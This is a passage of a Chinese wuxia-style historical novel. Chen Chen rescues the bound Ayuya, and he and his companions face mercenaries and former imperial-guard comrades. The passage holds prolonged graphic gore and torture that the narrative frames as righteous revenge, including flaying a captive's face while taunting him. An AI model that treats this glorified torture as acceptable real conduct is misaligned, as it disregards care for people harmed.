风沙从他们身后吹过来,他们的影子投在沙地上,一动不动。那些马偶尔打个响鼻,甩甩尾巴,但马上的人,纹丝不动。
下一瞬,所有人翻身下马。
他们慢慢跪下来,单膝触地,举起双手……像是在举行什么诡异的仪式。
陈晨愣了一下。
他一把拽起离自己最近的那个人,刀刃划过喉咙,血溅在周围跪着的人身上。那血是热的,溅在脸上,溅在手上,溅在那些人低垂的头上。
“起来啊!”他吼着,“你们的债完不了!”
没有人动。
被血溅到的人依旧跪着,低着头,举着手。血从他们头顶流下来,顺着脸颊往下淌,他们一动不动。
一个老者慢慢站起身。
他的动作很慢,很稳,像是在做一件庄重的事。他穿过那些跪着的人,一步一步走到陈晨面前,停下。
他的声音穿过风沙,缓缓传进陈晨耳朵里:
“他们在向您行可汗礼。”
陈晨的手一顿。
“他们已经认可您了。”
老者说,声音不大,却清清楚楚送进陈晨耳中。
“没必要再继续厮杀了。您和阿育娅两个人,永远是我们三大家族的客人。”
陈晨愣了两秒。
他低头看了看那些跪着的人,又看了看自己手里还在滴血的刀。
刀上的血一滴一滴落在沙地上,很快就被吸干。
他松开手,任由那具尸体倒下。
尸体落在沙地上,发出闷闷的一声响。
他拾起重弩,背在背上。抽出长枪,翻身上了一匹黑马。
他没有再看那些人一眼。
一夹马腹,朝谷内狂奔而去。
14. 第十三章:加冕
陈晨行至谷内。
第一眼看到的,是满地的尸体。横七竖八,有的还在流血,血在沙地上洇开一小片暗红,还在往外渗;有的已经被沙埋了一半,只露出一只手,或半张脸。那些脸上凝固着惊恐和不甘,眼睛还睁着,望向灰蒙蒙的天空,瞳孔已经散了。空气里弥漫着浓重的血腥味,混着沙土的干涩,呛得人喉咙发紧,每一次呼吸都像在吞刀子。
可是没有阿育娅!
他的心猛地一沉,像被人狠狠攥了一下。随即又浮起来……没有尸体,就还有希望。她还活着。她一定还活着。
然后他看到了自己的马。
那匹枣红马窝在那里,一动不动。
陈晨翻身下马,一步一步走过去。每一步都很沉,靴子陷进沙里,拔出来,再陷进去。沙粒钻进靴筒,硌得脚踝生疼,他感觉不到。他的眼睛一直盯着那匹马,盯着那个再也不会站起来的影子。
他蹲下来。
这匹马跟了他十二年。从他还是个普通士兵的时候,就跟着他。那些年征战沙场,它驮着他冲进敌阵,又驮着他活着回来。箭矢从耳边呼啸而过,它从不退缩;刀光在眼前闪烁,它从不惊惧。它见过他杀人,见过他受伤,见过他醉倒在马厩里,抱着它的脖子哭,眼泪流进它的鬃毛里,它只是静静地站着,偶尔回过头,用温热的鼻息蹭一蹭他的脸。
它从来不说话,但它什么都懂。
陈晨的眼泪滑下来,一滴,落在马的眼睛旁边。那眼睛已经闭上了,像睡着了一样。睫毛上沾着沙尘,他伸手轻轻拂去。它的脸还是温热的,但正在一点点凉下去。
他把自己身上仅剩的半件铠甲解下来。铠甲上还带着他的体温,还带着血迹,有几处已经凹陷变形,被刀砍过,被箭射过,替他挡了无数次致命伤。他把铠甲盖在马身上,从前胸盖到后背,遮住那些纵横交错的伤疤。盖好之后,他轻轻拍了拍马的头。
手掌下是冰凉的,再没有从前那种温热的触感。
“老伙计,我得走了。”他说。
声音很轻,轻得像怕惊扰它的睡眠。
然后他站起身。膝盖因为蹲得太久而发麻,他顿了一下,稳住身形,翻身上了那匹黑马。
前面只有一道马蹄印。沙暴正在把它一点点抹平,越来越淡,越来越模糊。那道印痕像一根随时会断的线,牵着他的心。
他必须快。
他相信阿育娅没死。他不敢去想另一种可能。只要她还活着,就算他自己死,也会把她救出来。
他一夹马腹,冲进沙暴里。
夜色已深。
陈晨循着那道仅剩的马蹄印,一路追到莫家集。
那棵粗壮的桃树立在集市中央,正燃烧着,火光冲天,把半边夜空都映得通红。树干噼啪作响,火星四溅,落在周围的屋舍上,又引燃了一片。浓烟滚滚,裹挟着焦糊的味道,呛得人喉咙发紧。风一吹,火势更旺,噼里啪啦的声音像无数人在哭喊,又像什么东西在坍塌。
无数莫家集居民的尸体塞满了树旁的小河。一具叠着一具,有的脸朝上,眼睛还睁着,空洞地对着夜空;有的脸朝下,背上的刀口还在往外渗血,血顺着脊背流进河里。河里流淌的不是水,是血。血水混在一起,黏稠稠的,在火光下泛着暗红的光,顺着河道往下淌,淌进夜色里,不知流向何方。偶尔有火星飘落,落在血面上,“哧”的一声,冒起一小股白烟,焦臭味混着血腥味,闻得人想吐。
陈晨寻了处僻静处,翻身下马,落地无声。
他拍了拍那匹黑马的屁股,马儿低低打了个响鼻,转身没入夜色,转眼不见了踪影。
陈晨借着夜色潜入莫家集。
尸横遍地,血腥味混着焦糊味,呛得人喉咙发紧。脚下是黏腻的沙土,每一步都有可能踩到什么……断肢、内脏、破碎的衣物。他猫着腰,避开那些偶尔闪过的巡逻影子,一步一步往里摸。那些人的影子在火光中拉得很长,鬼魅一样晃动,手里举着火把,腰间挎着刀,嘴里骂骂咧咧地说着什么。
他贴着墙根,借着黑暗的掩护,从一处坍塌的矮墙翻过去,落在另一条巷子里。
霸王枪被他留在了集镇外的一棵枯树下。枪身靠着树干,枪尖斜指夜空,像一个沉默的哨兵。月光照在枪尖上,泛着一点寒光。
整个莫家集都沉在黑暗里,只有一扇窗还亮着光。
那是他醒来后第一眼看见的房间。阿育娅的闺房。他还记得自己第一次睁开眼睛,看见雕梁画栋,锦帐罗帷,还以为自己死了,被阎罗王判入了地狱。然后她端着水盆走进来,笑着说“醒了”。
陈晨推开房顶的一扇小天窗,侧身钻入,整个人伏在房梁的阴影里,与黑暗融为一体。房梁很窄,硌得肋骨生疼,他屏住呼吸,一动不动,连眼睛都不敢多眨。
他往下看去。
只见阿育娅身上的皮甲已经被人扒了,那件白色的骑装也被脱下,随意地丢在地上,揉成一团,沾满了灰。陈晨送给她的那柄连弩被人从皮包中取出,扔在一旁的矮几上,孤零零地躺着,和旁边的空酒壶扔在一起。
她的双手被麻绳捆在床的一侧,手腕处勒出深深的红印,有的地方已经磨破了皮,渗出血丝。脚踝上也有同样的绳子,捆在床的另一侧。整个人被拉成一条直线,紧紧束缚住,动不了分毫。嘴里塞着一块白布,布团把脸颊撑得鼓鼓的,连声音都发不出来。她只能发出“呜呜”的声音,微弱得像蚊蝇。
她侧着头,眼睛直直地盯着某个方向。顺着她的目光看去……是和伊玄。
和伊玄坐在一旁的地毯上,手里攥着个酒壶,一口接一口往嘴里灌。酒液顺着嘴角流下来,打湿了衣襟,他顾不上擦。身边横七竖八扔着好几个空酒壶,滚得到处都是,有的已经碎了,碎片在烛光下闪着光,酒液渗进地毯里,洇开一片深色的水渍。
他的目光在阿育娅身上扫来扫去。
从头看到脚,再从脚看到头。滑过她的脸,滑过她的脖颈,滑过她被困住的身体,滑过那些勒出红印的地方。眼底里那点东西越来越藏不住……贪婪,赤裸裸的贪婪。他舔了舔嘴唇,喉结上下滚动,发出一声低低的吞咽声。
“还记得吗,在我十二岁那年,我的两个哥哥战死沙场……”
话音未落,一声怒吼炸开。
“我很快就会送你去见你的哥哥们……让你一块一块的,慢慢的去见!”
陈晨翻身而下,与此同时,房梁另一侧也有一道人影跃下。是阿妮!
她手中的长刀在空中划过一道寒光,直取和伊玄后心。刀锋带着破风声,快如闪电,眼看着就要刺入他的后背。
和伊玄连头都没回。
他只是侧身,抬脚……一脚踹在阿妮腰侧。那一脚力道极大,阿妮整个人横飞出去,撞在墙上,发出“砰”的一声闷响。墙上留下一道血痕,她顺着墙滑下来,摊在地上。手指抠进地砖缝里,拼命想撑起身子。刚抬起一点,又塌了下去。再撑,再塌。指甲断了,血从指尖渗出来,她还在抠,还在撑。
怎么也爬不起来。
阿育娅的眼睛瞪得滚圆,嘴里发出“呜呜”的声音。她在挣扎,绳子勒得更深,手腕上的皮都磨破了,她不管。
和伊玄慢慢转过头,看向陈晨。嘴角还挂着酒渍,眼底却已经没有了醉意。那双眼睛在烛光下闪着冷光,像狼,又像蛇。
“又来了一个送死的。”他说。
陈晨抽出腰间的长刀,刀锋贴着床柱掠过……捆住阿育娅双手的那股麻绳齐齐断开,垂落下来。接着又是一刀,脚踝上的绳子也应声而断。麻绳落在地上,像两条死蛇,蜷成一团。
他转身,长刀插在身后的地面上,刀身微微颤动,嗡鸣声在寂静的房间里格外清晰。
左手从背后拽过那柄重弩……这把在狂沙中射杀无数敌人的利器,被他像垃圾一样随手丢在一旁。箭壶里还剩三支箭,也被他解下,任其落在脚边,发出“当啷”几声脆响。
他空着手,转身面向和伊玄。
阿育娅嘴里的白布还没取出,但她已经抬起了头,眼睛死死盯着陈晨的背影。那双眼睛里含着泪,也含着光。
和伊玄看着陈晨,嘴角扯出一丝笑。
他将腰间的弯刀解下,随手丢在一旁。弯刀落在地毯上,闷闷的一声响。
陈晨没说话,快步上前。
和伊玄抬腿一脚,正蹬陈晨胸口……这一脚力道十足,换作旁人早就飞了出去,肋骨都要断几根。
但陈晨纹丝不动。
反倒是和伊玄,被那股反震之力震得踉跄后退,一屁股坐在地上。
他脸上的笑,僵住了。
陈晨的拳头落在和伊玄脑袋上,一下又一下,鼻子被打断,眼眶被打肿,甚至连牙齿都被打碎了许多。每一拳都带着风声,落在皮肉上发出闷响。血溅出来,溅在陈晨脸上,和汗水混在一起,往下淌。他的拳头已经麻木了,指骨早就裂了,但他还在打,一拳,又一拳,又一拳。
和伊玄刚握拳想还手……陈晨的拳头已经砸在他的拳头上。
“咔嚓”一声,那紧握的右拳应声变形,指骨从皮肉里戳出来,白森森的,像几根折断的枯枝,软塌塌地垂了下去。血从断口涌出,滴在地毯上,很快洇开一片。
陈晨的拳头上沾满了血,有他自己的,也有和伊玄的。和伊玄的左脸已经血肉模糊,牙齿的碎片戳穿脸颊,从脸上支棱出来,每一片都带着血,像獠牙。那些碎碴也戳进了陈晨的拳头里,扎出一个又一个血窟窿,血顺着指缝流下来,滴答滴答落在地上。
陈晨不在乎。
他甚至感觉不到疼。
他心里只有一个念头……
把眼前这个家伙,一点一点撕碎。
和伊玄心里一惊,左手胡乱摸索,抓住一个酒坛,狠命砸在陈晨太阳
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穴上。酒坛碎裂,碎片四溅,瓷片划破陈晨的脸,血渗出来。他抓起其中最大的一片,狠狠刺入陈晨小腹。
瓷片刺破衣服,刺破皮肤,刺进肉里。血涌出来,湿了衣服,顺着腹部往下流,滴在地上,和地毯上的酒混在一起。
可是陈晨的拳头仍如雨点般落下,一下又一下,砸在他早已血肉模糊的脸上。那些碎牙,那些裂开的伤口,被拳头一次次砸进去,更深,更碎。
和伊玄慌了,又抓过一个酒坛,朝陈晨脑袋猛砸。酒坛粉碎,酒液和血混在一起,顺着陈晨的额头淌下,模糊了视线。眼前一片红色,什么都看不清。酒渗进眼睛里,辣得生疼,视线越来越模糊。他眼前一阵发黑,拳头慢了一瞬。
和伊玄抓住机会,一脚踹在陈晨小腹那块酒坛碎片上。碎片又深入几分,几乎整个没入腹中。陈晨闷哼一声,被踹倒在地。
他挣扎着想爬起来,和伊玄已从怀中抽出一柄小刀,朝他脖子狠狠刺来。刀尖在烛光下闪着寒光,直奔咽喉。
陈晨抬手一挡……小刀直接刺穿他的左手,刀尖从掌背透出。血涌出来,顺着手臂流下,滴在陈晨脸上。
和伊玄整个人压上来,双手握着刀柄,死命往下按。青筋在他额头上暴起,眼睛血红,牙关咬得咯咯响。
陈晨咬着牙,左掌被刺穿,鲜血顺着手臂流下,但他那只手死死攥住刀身,分毫不动。刀锋卡在骨头缝里,怎么也压不下去。手指已经没了知觉,但他还在握,还在握。
两人僵持着,只有粗重的喘息声在房中回荡。血从陈晨手上滴下,滴在和伊玄脸上,他眨都不眨。
阿育娅看着那一幕,心像被人攥住了一样。
她用牙去咬手腕上的绳子,咬得牙龈出血,那绳子纹丝不动。麻绳太粗,太韧,牙齿根本咬不断。她急得浑身发抖,眼泪滚下来,滴在手上。
转身去解脚腕上的绳扣……
手肘在腰间碰到了一个硬硬的东西。
那东西不过寸许,冰凉的,薄薄的,藏在腰带内侧的夹层里。
她手指翻动,把那东西摸出来。
是一柄飞刃。
是陈晨一直带在身上的那柄。
她认得它。她曾经从陈晨袖口发现过它,夺走过它,把它扔在矮几上。那是她第一次见他的时候。那时候她还不知道,这个沉默的男人,会成为她的一切。
她不知道这柄飞刃什么时候塞在了她身上。可能是星空下的那一夜,可能是分别前整理腰带的那个动作,也可能是分别时的那一吻。
刃锋划过,手腕与脚踝上的绳子应声而断。
阿育娅一跃而起,抓过矮几上那柄连弩。曲柄转动,嘎嘎的机械声急促响起,一支弩箭滑入箭槽。那声音在寂静的房间里格外刺耳。
陈晨正攥着和伊玄的耳朵,刚想发力撕下……一柄黑黝黝的连弩已从下方抵住和伊玄的下巴。
阿育娅的手指扣动悬刀。
“噗”的一声闷响,无羽短箭自下而上贯穿头颅,箭尖刺破头盖骨,硬生生卡在那里。和伊玄浑身一颤,瞪大眼睛,嘴里发出“咯咯”的声响,血从嘴里涌出来。
她再次转动曲柄。
又一发。
弩箭斜插在脑侧,和伊玄的脸扭曲成疯狂的模样,身体还在抽搐,手脚乱蹬,踢翻了旁边的酒壶。
阿育娅盯着那张脸,手指慢慢摇动曲柄。嘎……嘎……嘎……每一声都像在拉锯。第三支弩箭上膛。
扣动。
箭矢钉入颅顶。
三支弩箭并排立在他头上,像三根诡异的羽毛。和他耳侧那两根彩羽一起,簇成一顶……血淋淋的、虚假的王冠。
和伊玄瞪着眼睛,终于不动了。身体僵了一瞬,然后软软地倒下去,砸在地毯上,发出沉闷的一声响。
房间里突然安静下来。只有喘息声,和烛火噼啪的微响。
阿育娅紧紧握住插在陈晨左掌的刀柄,用力一拔,鲜血流出。刀锋从肉里抽出来,带出一股血,溅在她脸上。她不管,短刃被她扔在一旁,滚了两滚。
可是陈晨却在第一时间紧紧握住了阿育娅的手,十指相扣。鲜血把她那嫩白的小手染得红红的,滑腻腻的,可他握得更紧,指节都泛白了。
他紧紧把她抱在怀里,抱得那样紧,紧得像要把她揉进身体里。她的脸贴着他的胸口,能听见他的心跳,一下一下,很有力。他也听见了她的心跳,一样快,一样有力。
嘴唇慢慢贴上阿育娅的唇。
先是轻轻的触碰,像试探,像确认。然后一点点深入。舌尖相互触碰,试探,缠绕。咸腥的血味在唇齿间弥漫,分不清是他的还是她的。过了许久两人才慢慢分开,额头抵着额头,喘息着。
她看着他。他的脸上全是血,有他自己的,有和伊玄的,有分不清是谁的。眼眶青紫,嘴角裂开,额头还在渗血。可他看着她的眼睛,是那样亮。
15. 第十四章:旧友
陈晨拔出插在地上的长刀,将一只弩箭按入弩槽之中,这才推门而出。
外面杀声震天。刀马与竖正和一群身披全甲的雇佣兵战成一团,刀光剑影,血沫横飞。那些雇佣兵训练有素,进退有度,显然是久经沙场的老手。
而在那群雇佣兵身后,还站着个年轻人。那人站在一块凸起的土丘上,居高临下地看着这场厮杀,嘴角挂着笑,仿佛在看一场有趣的戏。
那人陈晨认识……是当时骑马跟在和伊玄身边的家伙。
阿育娅扶着阿妮从房间内走了出来。阿妮脸色惨白,脚步虚浮,每走一步都要停顿许久,却还强撑着站着,不肯倒下。她的腰侧有一大块淤青,是被和伊玄踹的那一脚留下的,肋骨可能断了,但她一声都没吭。
“他叫大赖。”阿育娅的声音里没有任何感情,像在说一件与己无关的事,“他弟弟已经被刀马杀了。”
陈晨没说话,只是点了点头,径直朝那年轻人走去。
大赖正死死盯着刀马和竖的打斗,挥舞着手臂喊叫着什么,指挥着雇佣兵的进退。他完全没注意到身后逼近的阴影,也没注意到那些雇佣兵投向他身后的惊恐目光。
长刀一闪。
两只手臂齐肘而断,落在沙地上,血从断口喷涌而出,像两座小小的喷泉。那两只手落在地上时,手指还在抽搐,还在试图握拳。
大赖愣了一瞬,低头看了看自己的断臂,又看了看地上的手,这才反应过来发生了什么。他张开嘴,想要惨叫,但声音还没出口,陈晨已经薅住他的后颈,像拎一只待宰的鸡,拖着他走到阿育娅面前。
“还有什么遗言吗?”
陈晨的眼神冷得像大漠冬夜的寒星,不像是在问询。
大赖双腿发软,□□已经湿了一片,尿液顺着裤腿往下流,滴在沙地上。他张着嘴,牙齿磕得咯咯响,上下牙打架,愣是一个字都吐不出来。眼泪和鼻涕糊了一脸,混在一起往下淌。
“有骨气。”
陈晨从怀中掏出那柄削箭杆用的小刀
刀刃从大赖下颚刺入,顺着脸颊旋转一周。
整张脸皮被完整地剥了下来,落在地上,像一张废弃的面具。那面具上还带着惊恐的表情,眼睛瞪得老大,嘴巴张着,像是在无声地尖叫。
陈晨俯身,在他耳边轻声细语:
“深呼吸,深呼吸……这样会更疼一些哦。”
他的语气温柔得像在哄一个孩子,像在叮嘱他怎么做才能让痛苦更持久。
“这是欠老莫的债。”
话音落下,刀刃一转,撬开头盖骨,露出一道血淋淋的缝隙。里面白花花的脑髓隐约可见,还在微微跳动。
“接下来,”陈晨的声音依旧平静,平静得让人脊背发寒,“是你欠莫家集无辜百姓的。”
双手猛地发力。
“咔嚓”一声,整个头骨从中间被生生撕开。
脑髓滚落下来,掉在沙地上,被沙子裹了满满一层,和那些死去的莫家集百姓一样,成了这片土地的一部分。那白花花的脑浆和暗红的沙子混在一起,再也分不清彼此。
大赖的身体抽搐了两下,终于不动了。他的双腿还在无意识地蹬着,蹬了几下,也停了。
陈晨站起身,看了一眼地上的尸体,又看了一眼阿育娅。
阿育娅扶着阿妮,站在那里,脸上什么表情都没有。她的眼睛看着那具尸体,看着那些散落的脑浆,看着那张被剥下的脸皮,目光平静得像在看一堆垃圾。
至此,四大族第二代,全都去见了阿胡拉。
陈晨与阿育娅走到那棵被烧得枯死的桃树旁站定。
树干焦黑,枝丫断裂,曾经满树繁花的模样早已荡然无存。陈晨记得第一次看到这棵树的时候,老莫扶着他站在这里,夕阳把天边烧成一片橘红,树上开满了桃花,美不胜收。那时候他还不知道,这片桃源会变成这样。
远处,刀马和竖正与那十几个雇佣兵缠斗,刀光闪烁,喊杀声渐稀。
陈晨望着那边,沉声问道:
“你们两个怎么回来了?其他人呢?”
刀马一脚踹翻面前的敌人,抽空回头看了一眼,手上不停,反手架住一杆刺来的长枪。
“阿妮在古渡那会儿告诉我们丫头被绑了。”他喘着粗气,声音断断续续,“我跟竖就掉头赶回来了。知世郎他们俩已经带着小七从龙鳞古渡乘船去中原了。”
阿育娅扶着阿妮在一块青石上坐下。阿妮脸色惨白,靠在阿育娅肩上,已经说不出话,只是眼睛还睁着,看着那些还在战斗的人。
阿育娅抬起头,望着那些还在挣扎的雇佣兵。目光越过他们,落在更远的地方。那里曾是她长大的地方,是她生活了十八年的家。那间铁匠铺,那个小摊,那条她常去的小河,那些和她打招呼的邻居……全没了。
只剩一片焦土。
陈晨端起手中的重弩,对准那群雇佣兵中唯一带着红发鬼面的家伙。
“红面鬼!”他的声音冷得像冰,“雇佣你们的人现在已经都死了……若是不想死,现在就离开!”
那根弩箭泛着寒光,不是寻常箭头,而是一枚破甲锥。这种箭头专门对付重甲,一箭下去,就算是铁板也能射穿。
那个红面鬼身高足有两米,站在那里像一座铁塔。他闻言忽然将手中的关刀插在沙地上,揭开了自己的鬼面。
露出一张棱角分明的脸。脸上有一道长长的刀疤,从左眼角斜斜划到右嘴角,但并没有让他显得狰狞,反而有种说不出的威严。
“我不是什么红面鬼。”他说,声音低沉浑厚,“我叫阿罗汉……吐火罗佣兵团的首领。”
他向着陈晨,行了一个抚胸礼。那是草原上表示敬意的礼节,通常只在面对值得尊重的对手时才会使用。
陈晨手中的弩纹丝不动,箭尖仍对准他的头颅。
“那便是非得一战?”
他顿了顿,一字一顿:
“我们和你们无冤无仇。若想战,那便不死不休!”
只要手指一钩,阿罗汉的脑袋就会开花。陈晨的指节已经发白,随时可能扣下悬刀。
空气仿佛凝固了。
就在这时,忽然一只鹰从夜空里俯冲下来,落在阿罗汉抬起的手臂上。那是一只金雕,翼展足有两米,眼睛在黑暗中泛着幽光。它脚上绑着一只小铜罐,在火光里泛着暗沉沉的光。
阿罗汉抬起另一只手,轻轻一挥。
刚才还在与刀马、竖缠斗的那些雇佣兵,立刻收住兵器,齐刷刷退到他身后,列成两排,一动不动。刀马和竖也停了手,喘着粗气望向这边,身上全是血,有他们自己的,也有敌人的。
阿罗汉打开铜罐,从里面倒出一张字条。就着火光的余烬,他扫了一眼,随即抬起头,看向陈晨。
“我们真正的雇主……裴侍郎,已经告知下一步的任务。”他的声音沉稳,不带情绪,“我们不会再插手五大家族的事。就此撤退。”
说罢,他将关刀留在原地,空着手,大步走到阿育娅面前。
“阿育娅。”他叫她的名字,语气里带着几分郑重,“这里很快就要成为兵家必争之地。你愿不愿意加入我们?”
陈晨站在一旁,没有说话。
或者说,他没敢说话。
这是阿育娅自己的路。他愿意让她自己选。
他在心里想得很清楚……不论她选什么,他都会跟着。她若留下,他便留下;她若加入吐火罗,他便跟着一起加入。他在大漠里已经没有家了,有她的地方,就是家。
可若是吐火罗护不住她……
陈晨垂下眼,没让任何人看见那眼底一闪而过的冷光。
那便一个不留。
阿育娅看着陈晨的背影,摇了摇头。
那眼神里,没有犹豫,没有挣扎,只有一种安静的温柔。她看他的样子,像是在看一个固执的孩子,又像是在看这世上最珍贵的东西。
从他躺在她的床上,到现在他站在废墟里为她杀人,不过短短数日。可这数日,比她过去十八年加起来都漫长,都沉重。
阿罗汉看到阿育娅这样,也不强求。
他只是点了点头,转身取回自己的关刀,大步走向那群静候的雇佣兵。走到队伍前列,他回头看了阿育娅一眼,没再说话。
手一挥。
那群吐火罗雇佣兵齐齐转身,跟在他身后,向莫家集外撤去。脚步声整齐划一,在焦黑的土地上踏出沉闷的节奏。每一步都踏得很重,像是在为这片废墟送行。
很快,那些身影消失在夜色与火光之间。
风从废墟上吹过,卷起灰烬和焦味。远处还有几根烧剩的木梁在噼啪作响,偶尔有火星飘向夜空,很快又熄灭。
阿育娅收回目光,落在陈晨背上。
他还是那样站着,没有回头。脊背挺直,像一棵烧不死的胡杨。
她忽然想起第一次见到他的时候。他躺在她的床上,浑身是伤,眼睛却冷得像冰。那时候她问他叫什么,他说“我是个镖人”。
现在,这个镖人为了她,与整个大漠为敌,把整个大漠翻了个底朝天。
阿育娅低下头,嘴角弯了弯。
那个笑很轻,轻得几乎看不见。
可那笑里,有火光,有血泪,有刚刚结束的厮杀,也有刚刚开始的余生。
莫家集没了。
但她还有他。
五个人就这样坐在莫家集的废墟之中。
谁也笑不出来,谁也哭不出来。
不过三天,这里还是陈晨口中“若是可以,真想一辈子都住在这里”的世外桃源。如今只剩焦黑的断壁,烧塌的房梁,和那棵枯死的桃树。灰烬随风扬起,落在他们肩上、发间,没有人伸手去拂。
那个待人友善的老莫,再也回不来了。
再也无法与他说笑,无法看见他那张满是皱纹的脸,无法听见他用那平得像石头的语气说“丫头,你又胡闹”。
他走了,被活剐的时候,连喊都没喊一声。
陈晨想起那天傍晚,老莫扶着他站在桃树下,说“毒解得差不多了”。那时候他还不知道,这个看似普通的老人,会是这样一个硬骨头。
几个人的命运,被这一场大火,烧得天翻地覆。
陈晨不再是被追杀的暗刃,阿育娅不再是那个只会撒娇的丫头,刀马不再是天字第二号逃犯,竖不再是那个冷血的玉面鬼,阿妮也不再是沉默的跟班。
他们坐在这里,在废墟中央,像五根被烧过的木桩,等着风把他们吹散,或者等着下一场风暴把他们卷走。
陈晨忽然开口:“知世郎他们……”
“已经上船了。”刀马打断他,“燕子娘跟着,小七也安全。”
陈晨点了点头,没再说话。
竖靠在半截断墙上,眼睛闭着,不知道是睡着了还是在想什么。他的柱国之刃横在膝上,刀身上沾满了血,已经干涸,结成暗红色的痂。
阿妮靠在阿育娅肩上,呼吸渐渐平稳,终于睡着了。她的眉头还皱着,梦里大概也不太平。
阿育娅轻轻拍着她的背,一下一下,像小时候阿妮哄她那样。
陈晨看着这一幕,忽然想起老莫说的那句话……“丫头她这些年老吵着去长安”。
长安。
他也不知道长安有什么在等着他们。但他答应了,要带她去。
不等几人起身,一杆长枪破空而来。
枪身划过夜色,带着尖锐的破风声,“夺”的一声,插在莫家集中央的空地上。就插在距离众人几步远的位置……枪身微微颤动,嗡鸣不止。那声音在寂静的废墟里格外清晰,像一声警钟,又像一声召唤。
借着残火的微光看去,是陈晨那柄霸王枪。
原本被鲜血裹得看不出本来面目的枪身,此刻已经被人擦得干干净净,露出底下乌黑的颜色。枪杆上那些厮杀留下的凹痕还在,但血迹已无,在火光映照下泛着沉沉的光。枪尖上还有几点寒芒,在夜色中一闪一闪。
众人抬头望去。
风沙之中,五道身影渐次清晰……四大一小。
为首的两个人,陈晨认得,刀马也认得。
是他们的旧识。
和陈晨一起从天牢中活下来的另外两个左骁骑卫……谛听,隗知。
而在他们身后,知世郎、燕子娘,还有刀马的小外甥小七,被铁链拴着,像牲口一样牵在后面。小七的脸上还挂着泪痕,但没哭,只是紧紧咬着嘴唇,倔强地看着这边。燕子娘倒是一副无所谓的样子,还冲阿育娅挤了挤眼。知世郎低着头,看不清表情。
“你还真是阴魂不散啊!”
刀马拄着刀,慢慢站起身。火光映在他脸上,那双眼睛里混着疲惫、愧疚,还有一丝说不清的复杂。
“阴魂不散的不是我。”
谛听的声音很冷。他从腰带上解下一串东西,随手扔在刀马脚边。
那是一堆名牌。一共十个,落地时发出
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沉闷的碰撞声。每一个上面,都刻着一个名字……死去的兄弟。那些名字刀马都认得,每一个都对应着一张脸,一个曾经一起喝酒、一起冲锋、一起在死人堆里爬出来的兄弟。
“当年你妹妹阿七,为废太子生下这个孽种。圣上命我们十三人血洗永宁宫……可你呢?你因为一己私欲,带着孩子远走天涯。”
谛听往前踏了一步,字字刻骨,字字诛心。
“整个左骁骑卫,因你被圣上除名。你做这事的时候,想过兄弟们吗?你身边那个人,我们相处了十几年,从尸山血海里爬出来,吃的苦、受的罪,你难道都忘了?”
陈晨没有说话。
他只是慢慢走到霸王枪旁,伸手握住枪杆。那枪杆还是熟悉的触感,还是熟悉的重量。他握紧它,然后转身,紧盯着刀马。
火光在他脸上跳动,看不出他在想什么。
“陈晨。”谛听转过头,看向他,“你我三人联手,拿下刀马。只要带着这个小孽种回长安,交给圣上……我有把握,恢复左骁骑卫。”
他的声音在风中飘散,却字字清晰。
“你还做你的将军。我们四人,还做兄弟。”
刀马皱着眉头,开口说道:“大隋如此强盛,何必跟一个孩子过不去?”
“你比我们更清楚,”谛听抽出背后的双锏,对准小七的脑袋,“他是寻常人家的孩子吗?”
“他是我们家孩子!”
刀马怒吼着,脚下却没动。他想冲过去,但他知道,他一动,谛听的双锏就会落下。小七就在他们身后,他冲不过去。
“谁也不能动他!”
话音刚落,一个声音从陈晨喉咙深处挤了出来,一字一句,如同疯魔:
“你们家孩子……你们家孩子……你们家孩子……你们家孩子……”
他重复着,一遍又一遍,声音越来越低,却越来越重。每一遍都像是在问自己,又像是在问刀马。
“整个左骁骑卫,难道他们没有妻子?没有亲人?没有家庭?他们难道不是孩子?”
刀马看着他,嘴唇动了动,什么也没说出来。
他想起那些兄弟,有的刚成亲,有的刚有了孩子,有的家里还有老母亲等着。他们都死了,死在牢里,死在刑架上,死在最好的年纪。
他还能说什么?
良久,他把手中的长刀扔在地上,从身边捡起两柄锤子。那锤子是他在大漠里常用的兵器,比长刀更趁手,也更能代表现在的他。
“左骁骑卫已经过去了。”他说,“我们都回不了头。”
“你失心疯了吗?”
谛听走到陈晨身边,隗知也跟了上来。三人立于一处,面对着刀马。
“你忘了那年灭陈之后,圣上嘉奖,百官逢迎,万人惧怕……我们左骁骑卫,是何等的荣光?”
“我没忘。”
刀马看着三人的脸。那些脸他太熟悉了,曾经一起冲锋、一起喝酒、一起在死人堆里爬出来。他想起那些同生共死的日子,眼睛里有光闪了闪。
“那年灭陈之役,荣光的背后,是万千因我们而死的百姓……就像今晚莫家集死去的人。”
陈晨握枪的手,紧了紧。
“死去的人已经死去。”他的声音很低,像是在对自己说,“可活着的人,得还他们的债。”
他抬起头,看着刀马。
“该还债了。”
陈晨没有说话。
他只是一抬枪。
霸王枪带着七十二斤的重量,裹着这几年积压的恨意,朝刀马脑袋砸去。这一枪下去,别说是胳膊,连脑袋都会一起碎成烂泥。
刀马看着那迎面而来的枪尖。
他没有挡。
他不敢挡,也挡不住。
只得一矮身,枪尖贴着头皮掠过,削断几根头发。他顺势向后一滚,连退数步,这才堪堪躲过。
枪杆砸在地上,闷响一声,尘土飞扬。
地上留下了一道深深的沟壑。那是霸王枪砸出来的,也是刀马欠兄弟们的债。
一击之后陈晨没再继续动,只是抬起那杆枪,支在那看着面前正在厮杀的三人。
风吹拂起他的头发。
黑发之中,已经夹杂着许多白发……他才二十八岁。
那白发像刀痕,一道一道,刻在了一个二十八岁的人身上。十年的血雨腥风,一年半的牢狱折磨,四年的暗刃生涯,还有这三天……亲眼看着莫家集被屠,亲手剥下大赖的脸皮,亲手砸向刀马的脑袋。
他站在废墟上,白发飞扬,像一个恶鬼。
谛听的双戟能开山破石,隗知的爪能让人开膛破肚,刀马的双锤能锤得人头骨崩裂。
可现在三人却处处留手,全都收着力。谛听的每一戟都偏了三分,隗知的每一爪都慢了半拍,刀马的每一锤都只是格挡,从不还击。
可战斗不是儿戏,不使全力是会死的。
不过十合,刀马便被踹倒在地,手中的两个锤子也飞得无影无踪。他躺在沙地上,大口喘气,已经爬不起来了。
谛听的双锏跟上,直取刀马头颅……却被一杆长枪从侧面抵住。
“打过了,气消了,就此作罢吧。”
陈晨的声音慢慢传进三个人的耳朵里。
“兄弟的债怎么办?”
隗知手背上的钢爪互相摩擦,迸出阵阵火花。那些火花落在地上,很快就熄灭了,但摩擦的声音还在继续,刺耳,尖锐,像是在质问。
“百年之后,我们下面见的时候,自然会有人向他讨债。”
陈晨的声音很平静,像是在说一件再寻常不过的事。
“杨广许你们恢复左骁骑卫,不过是个让你们为他玩命的由头。八百左骁骑卫早就已经散了,我们三人这四年做的事情难道还觉得不够吗?还要为了莫须有的奖赏去拼命?”
